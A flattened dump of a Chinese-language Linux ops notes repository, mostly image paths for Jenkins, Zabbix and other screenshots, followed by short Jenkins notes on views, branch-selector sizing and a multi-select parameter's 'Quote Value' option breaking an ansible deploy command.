-------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/image-20211216223301230.png -------------------------------------------------------------------------------- /images/iostat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/iostat.jpg -------------------------------------------------------------------------------- /images/iotop.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/iotop.jpg -------------------------------------------------------------------------------- /images/jenkins-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-1.png -------------------------------------------------------------------------------- /images/jenkins-10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-10.png -------------------------------------------------------------------------------- /images/jenkins-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-2.png -------------------------------------------------------------------------------- /images/jenkins-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-3.png -------------------------------------------------------------------------------- /images/jenkins-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-4.png -------------------------------------------------------------------------------- /images/jenkins-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-5.png -------------------------------------------------------------------------------- /images/jenkins-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-6.png -------------------------------------------------------------------------------- /images/jenkins-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-7.png -------------------------------------------------------------------------------- /images/jenkins-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-8.png -------------------------------------------------------------------------------- /images/jenkins-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-9.png -------------------------------------------------------------------------------- /images/jenkins-branch-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-branch-01.png -------------------------------------------------------------------------------- /images/jenkins-branch-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-branch-02.png -------------------------------------------------------------------------------- /images/jenkins-branch-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-branch-03.png -------------------------------------------------------------------------------- /images/jenkins-work1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-work1.png -------------------------------------------------------------------------------- /images/jenkins-workname.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/jenkins-workname.png -------------------------------------------------------------------------------- /images/kafka.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/kafka.png -------------------------------------------------------------------------------- /images/logstash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/logstash.png -------------------------------------------------------------------------------- /images/mount_error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/mount_error.png -------------------------------------------------------------------------------- /images/mysql-ab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/mysql-ab.png -------------------------------------------------------------------------------- /images/mysql-slow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/mysql-slow.png -------------------------------------------------------------------------------- /images/mysql-slow2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/mysql-slow2.png -------------------------------------------------------------------------------- /images/mysql5.6-make.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/mysql5.6-make.png -------------------------------------------------------------------------------- /images/mysql_elasticsearch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/mysql_elasticsearch.png -------------------------------------------------------------------------------- /images/mysql发展.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/mysql发展.png -------------------------------------------------------------------------------- /images/nosql.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/nosql.png -------------------------------------------------------------------------------- /images/prometheus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/prometheus.png -------------------------------------------------------------------------------- /images/push-gateway-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/push-gateway-01.png -------------------------------------------------------------------------------- /images/pushgateway01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/pushgateway01.png -------------------------------------------------------------------------------- /images/pushgateway02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/pushgateway02.png -------------------------------------------------------------------------------- /images/python01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/python01.png -------------------------------------------------------------------------------- /images/redis-export.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/redis-export.jpg -------------------------------------------------------------------------------- /images/relaylog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/relaylog.png -------------------------------------------------------------------------------- /images/securecrt-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/securecrt-01.png -------------------------------------------------------------------------------- /images/securecrt-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/securecrt-02.png -------------------------------------------------------------------------------- /images/securecrt-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/securecrt-03.png -------------------------------------------------------------------------------- /images/securecrt_proxy01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/securecrt_proxy01.png -------------------------------------------------------------------------------- /images/securecrt_proxy02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/securecrt_proxy02.png -------------------------------------------------------------------------------- /images/securecrt_proxy03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/securecrt_proxy03.png -------------------------------------------------------------------------------- /images/securecrt_proxy04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/securecrt_proxy04.png -------------------------------------------------------------------------------- /images/securecrt_proxy05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/securecrt_proxy05.png -------------------------------------------------------------------------------- /images/shadowsock-ng1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/shadowsock-ng1.png -------------------------------------------------------------------------------- /images/shared.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/shared.png -------------------------------------------------------------------------------- /images/simkai.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/simkai.ttf -------------------------------------------------------------------------------- /images/smtp1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/smtp1.png -------------------------------------------------------------------------------- /images/smtp2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/smtp2.png -------------------------------------------------------------------------------- /images/tcp_wrappers.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/tcp_wrappers.jpg -------------------------------------------------------------------------------- /images/tcpdump-tcp.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/tcpdump-tcp.jpg -------------------------------------------------------------------------------- /images/tcpdump1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/tcpdump1.png -------------------------------------------------------------------------------- /images/tcpdump2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/tcpdump2.png -------------------------------------------------------------------------------- /images/tcpdump3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/tcpdump3.png -------------------------------------------------------------------------------- /images/tcpdump4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/tcpdump4.png -------------------------------------------------------------------------------- /images/telegram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/telegram.png -------------------------------------------------------------------------------- /images/tomcat_dis_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/tomcat_dis_01.png -------------------------------------------------------------------------------- /images/virtualbox-network-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/virtualbox-network-1.jpg -------------------------------------------------------------------------------- /images/virtualbox-network-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/virtualbox-network-2.jpg -------------------------------------------------------------------------------- /images/virtualbox-network-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/virtualbox-network-3.jpg -------------------------------------------------------------------------------- /images/virtualbox-network-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/virtualbox-network-4.jpg -------------------------------------------------------------------------------- /images/wordpress-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/wordpress-01.png -------------------------------------------------------------------------------- /images/zabbix-add-user01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-add-user01.png -------------------------------------------------------------------------------- /images/zabbix-add-user02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-add-user02.png -------------------------------------------------------------------------------- /images/zabbix-add-user03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-add-user03.png -------------------------------------------------------------------------------- /images/zabbix-cap-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-cap-01.png -------------------------------------------------------------------------------- /images/zabbix-cap-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-cap-02.png -------------------------------------------------------------------------------- /images/zabbix-cap-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-cap-03.png -------------------------------------------------------------------------------- /images/zabbix-cap-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-cap-04.png -------------------------------------------------------------------------------- /images/zabbix-cap-05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-cap-05.png -------------------------------------------------------------------------------- /images/zabbix-cap-06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-cap-06.png -------------------------------------------------------------------------------- /images/zabbix-cap-07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-cap-07.png -------------------------------------------------------------------------------- /images/zabbix-cap-08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-cap-08.png -------------------------------------------------------------------------------- /images/zabbix-disk-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-01.png -------------------------------------------------------------------------------- /images/zabbix-disk-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-02.png -------------------------------------------------------------------------------- /images/zabbix-disk-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-03.png -------------------------------------------------------------------------------- /images/zabbix-disk-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-04.png -------------------------------------------------------------------------------- /images/zabbix-disk-05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-05.png -------------------------------------------------------------------------------- /images/zabbix-disk-06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-06.png -------------------------------------------------------------------------------- /images/zabbix-disk-07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-07.png -------------------------------------------------------------------------------- /images/zabbix-disk-08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-08.png -------------------------------------------------------------------------------- /images/zabbix-disk-09.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-09.png -------------------------------------------------------------------------------- /images/zabbix-disk-byte.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-disk-byte.png -------------------------------------------------------------------------------- /images/zabbix-group01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-group01.png -------------------------------------------------------------------------------- /images/zabbix-group02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-group02.png -------------------------------------------------------------------------------- /images/zabbix-media.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-media.png -------------------------------------------------------------------------------- /images/zabbix-mem-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-01.png -------------------------------------------------------------------------------- /images/zabbix-mem-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-02.png -------------------------------------------------------------------------------- /images/zabbix-mem-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-03.png -------------------------------------------------------------------------------- /images/zabbix-mem-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-04.png -------------------------------------------------------------------------------- /images/zabbix-mem-05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-05.png -------------------------------------------------------------------------------- /images/zabbix-mem-06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-06.png -------------------------------------------------------------------------------- /images/zabbix-mem-07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-07.png -------------------------------------------------------------------------------- /images/zabbix-mem-08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-08.png -------------------------------------------------------------------------------- /images/zabbix-mem-09.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-09.png -------------------------------------------------------------------------------- /images/zabbix-mem-10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-10.png -------------------------------------------------------------------------------- /images/zabbix-mem-11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-mem-11.png -------------------------------------------------------------------------------- /images/zabbix-monitors-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-monitors-01.png -------------------------------------------------------------------------------- /images/zabbix-monitors-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-monitors-02.png -------------------------------------------------------------------------------- /images/zabbix-problem-reslove.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-problem-reslove.png -------------------------------------------------------------------------------- /images/zabbix-problem01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-problem01.png -------------------------------------------------------------------------------- /images/zabbix-problem02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-problem02.png -------------------------------------------------------------------------------- /images/zabbix-triger-action01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-triger-action01.png -------------------------------------------------------------------------------- /images/zabbix-triger-action02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-triger-action02.png -------------------------------------------------------------------------------- /images/zabbix-triger-action03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix-triger-action03.png -------------------------------------------------------------------------------- /images/zabbix4.0-10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix4.0-10.png -------------------------------------------------------------------------------- /images/zabbix4.0-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix4.0-2.png -------------------------------------------------------------------------------- /images/zabbix4.0-3.png.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix4.0-3.png.png -------------------------------------------------------------------------------- /images/zabbix4.0-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix4.0-4.png -------------------------------------------------------------------------------- /images/zabbix4.0-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix4.0-5.png -------------------------------------------------------------------------------- /images/zabbix4.0-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix4.0-6.png -------------------------------------------------------------------------------- /images/zabbix4.0-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix4.0-7.png -------------------------------------------------------------------------------- /images/zabbix4.0-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix4.0-8.png -------------------------------------------------------------------------------- /images/zabbix4.0-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix4.0-9.png -------------------------------------------------------------------------------- /images/zabbix_discovery.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix_discovery.png -------------------------------------------------------------------------------- /images/zabbix_trigger_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix_trigger_01.png -------------------------------------------------------------------------------- /images/zabbix_trigger_02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix_trigger_02.png -------------------------------------------------------------------------------- /images/zabbix_trigger_03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix_trigger_03.png -------------------------------------------------------------------------------- /images/zabbix_trigger_04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix_trigger_04.png -------------------------------------------------------------------------------- /images/zabbix_trigger_05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbix_trigger_05.png -------------------------------------------------------------------------------- /images/zabbux4.0-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/zabbux4.0-1.png -------------------------------------------------------------------------------- /images/关系型db.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/关系型db.png -------------------------------------------------------------------------------- /images/子网掩码对照表.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/images/子网掩码对照表.png -------------------------------------------------------------------------------- /jenkins/1、jenkins视图操作.md: -------------------------------------------------------------------------------- 1 | # 一、列表 2 | ![jenkins视图列表](https://github.com/Lancger/opslinux/blob/master/images/jenkins-work1.png) 3 | 4 | # 二、设置 5 | ![jenkins视图名称](https://github.com/Lancger/opslinux/blob/master/images/jenkins-workname.png) 6 | 7 | 参考文档: 8 | 9 | https://www.jianshu.com/p/717dd02a59b6 10 | -------------------------------------------------------------------------------- /jenkins/2、jenkins分支框太小问题解决.md: -------------------------------------------------------------------------------- 1 | # 一、问题现状 2 | 3 | ![jenkins分支框太小](https://github.com/Lancger/opslinux/blob/master/images/jenkins-branch-01.png) 4 | 5 | # 二、解决办法 6 | 7 | ![jenkins分支框解决](https://github.com/Lancger/opslinux/blob/master/images/jenkins-branch-03.png) 8 | 9 | # 三、解决之后 10 | 11 | ![jenkins分支框效果](https://github.com/Lancger/opslinux/blob/master/images/jenkins-branch-02.png) 12 | -------------------------------------------------------------------------------- /jenkins/3、jenkins中quote value和多选框问题.md: -------------------------------------------------------------------------------- 1 | ## 一、背景 2 | jenkins自带的参数化不支持多选框,不过有插件支持:Extended Choice Parameter Plug-In 3 | 4 | 插件地址: https://plugins.jenkins.io/extended-choice-parameter 5 | 6 | ## 二、使用教程 7 | 8 | Name -- 定义变量名 9 | 10 | Parameter Type -- check boxes 复选框 11 | 12 | ![jenkins——quote](https://github.com/Lancger/opslinux/blob/master/images/check_boxes.png) 13 | 14 | 15 | 设置好,展示如下: 16 | 17 | ![jenkins——quote](https://github.com/Lancger/opslinux/blob/master/images/check_boxes1.png) 18 | 19 | 20 | 在后续操作中如果要使用这个多选框的话,使用${emails} 21 | 22 | 这里注意的是:不要勾选Quote Value 23 | 24 | # 案例一 25 | 勾选了quote value的话,echo ${emails} 显示 <"test@111.com"> 26 | 27 | 不勾选的话,echo ${emails} 显示 test@111.com ,没有<>和“” 28 | 29 | 30 | # 案例二 31 | 勾选了会导致发布失败 32 | 勾选了的效果,主机名多了'""'---导致发布失败 33 | 34 | ansible '"test062"' -m synchronize -a 'src=/var/lib/jenkins/workspace/uat-test-com/ dest=/data/www/uat-test-com owner=no group=no mode=push' 35 | 36 | 这才是正常的 主机名没有'""' 37 | 38 | ansible '"test062"' -m synchronize -a 'src=/var/lib/jenkins/workspace/uat-test-com/ dest=/data/www/uat-test-com owner=no group=no mode=push' 39 | 40 | 当然勾选了肯定其他用途,暂时不知道怎么使用 41 | 42 | 参考资料: 43 | 44 | https://cloud.tencent.com/developer/article/1027980 jenkins 多选框 45 | -------------------------------------------------------------------------------- /jenkins/README.md: -------------------------------------------------------------------------------- 1 | ![jenkins单选主机发布1](https://github.com/Lancger/opslinux/blob/master/images/jenkins-1.png) 2 | 3 | ![jenkins单选主机发布2](https://github.com/Lancger/opslinux/blob/master/images/jenkins-2.png) 4 | 5 | ![jenkins单选主机发布3](https://github.com/Lancger/opslinux/blob/master/images/jenkins-3.png) 6 | 7 | ![jenkins单选主机发布4](https://github.com/Lancger/opslinux/blob/master/images/jenkins-4.png) 8 | 9 | ![jenkins单选主机发布5](https://github.com/Lancger/opslinux/blob/master/images/jenkins-5.png) 10 | 11 | ![jenkins单选主机发布6](https://github.com/Lancger/opslinux/blob/master/images/jenkins-6.png) 12 | 13 | ![jenkins单选主机发布7](https://github.com/Lancger/opslinux/blob/master/images/jenkins-7.png) 14 | 15 | ![jenkins单选主机发布8](https://github.com/Lancger/opslinux/blob/master/images/jenkins-8.png) 16 | 17 | 